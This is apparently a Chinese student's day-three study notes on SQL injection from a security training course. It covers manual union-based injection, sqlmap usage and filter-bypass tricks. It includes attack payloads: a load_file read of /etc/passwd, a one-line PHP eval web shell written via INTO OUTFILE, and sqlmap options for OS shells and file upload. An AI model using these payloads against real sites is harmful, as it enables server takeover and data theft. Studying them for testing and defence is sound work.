T-Star第三天学习记录
sql手工注入常规步骤
PS:这里学习笔记的常规步骤是针对union注入来说
- 找注入点,并判断注入点是否存在
例如添加'
,and 1=1,and 1=2 - 判断表中的字段数
order by 10,可采用二分法(效率高) - 使用union联合查询
- 查询数据库中的数据
查询数据库
查询数据表
查询字段r
查询数据 - 文件操作
读取文件
select 1,2,load_file("/etc/passwd"),3,4
写入文件
select 1,2,"<?php @eval($_POST['cmd']?>",3,4 into outfile ‘/var/www/html/kill.php’
需要设置 secure-file-priv = “”
GET、POST请求方式注入
GET型注入
- 单个参数注入
sqlmap.py -u “URL” - 多个参数注入
sqlmap.py -u “URL” -p 具体参数
sqlmap.py -u “URL” -p “id” - 多个URL
sqlmap.py -m 1.txt (1.txt内容为测试的目标URL)
会有(Y/n/q)提示,选Y,进行测试,n自动进行下一个,q退出探测 - 结合burp读取日志文件
sqlmap.py -l 日志文件 - burp提取HTTP请求保存为文本文件
sqlmap.py -r 文本文件 - 读取sqlmap.conf配置文件
sqlmap.py -c sqlmap.conf
在url处添加目标站点
POST型注入
- burp提取HTTP请求保存为文本文件
sqlmap.py -r 文本文件 - 结合burp读取日志文件
sqlmap.py -l 日志文件 - 使用–data传递post数据
sqlmap.py -u “URL” --data=“POST数据” - 读取sqlmap.conf配置文件
sqlmap.py -c sqlmap.conf文件
COOKIE注入
使用场景:Web应用程序具有基于COOKIE验证的步骤
Sqlmap的经典语法
- –banner
查询数据库类型,版本信息 - -g “谷歌语法”
批量检测注入
sqlmap.py -g “inurl:index.php?id=” - –sql-shell
执行指定的sql语句,之后输入sql语句即可 - –os-shell/–os-cmd
执行系统命令,获取目标服务器权限
执行条件:
网站必须是root权限
攻击者需要知道网站的绝对路径
GPC为off,php主动转义的功能关闭 - –file-read
读取目标服务器文件
–file-read=“文件路径” - –file-write,–file-dest
上传文件并重新命名
–file-write “C:\1.txt” --file-dest"c://123.txt"
将本地C盘的1.txt上传到服务器C盘,并重命名为123.txt - –dbms=“MySQL”
指定其数据库为MySQL
可以减少测试时间,以及增加测试准确度 - –sql-query --sql-file
–sql-query “sql语句”
可以执行指定的sql语句
–sql-file “C:\sql.sql”
从指定本地文件执行sql语句 - –proxy=“IP:端口”
设置代理
–proxy=“http://IP:端口” - –technique T
指定具体的注入技术
B:基于布尔类型的盲注
T:基于时间的盲注
E:基于报错注入
U:联合查询注入
S:堆查询注入 - –fresh-queries --flush-session
清除缓存,刷新会话
–fresh-queries
sqlmap每次查询都会将查询结果储存在.sqlmap文件夹中,下次再有相同的查询会调用
上次的查询结果,使用这个参数可以忽略文件中的记载结果,重新查询
–flush-session
刷新会话 - –batch
对所有的交互式的都是默认,中间不需要操作 - –start --stop
指定查看列的范围
–start 获取第一个查询输出数据位置
–stop 获取最后查询输出数据位置
会查询指定位置的列信息 - –first --last
指定查看字符的范围
–first 获取第一个查询输出字的字符
–last获取最后查询的输出字字符
绕过姿势
- 双写绕过:
可行原因:后端只对字符串进行了一次过滤 - 大小写绕过:
可行原因:后端未对大小写进行判定 - 过滤空格绕过:
1、注释符:/**/
2、两个空格、Tab键、+号、反引号
3、%20、%09、%0a、%0b、%0c、%0d、%a0、%00
4、括号绕过,用括号包裹关键字,select(username)from(member) - 过滤绕过=:
1、通配符like
2、!<>,<>等价于!= - 过滤and、or绕过:
and = &&
or = ||
xor = | 异或操作符
not = !
Sqlmap常用爆库爆表语句
学习总结
多用sqlmap,熟能生巧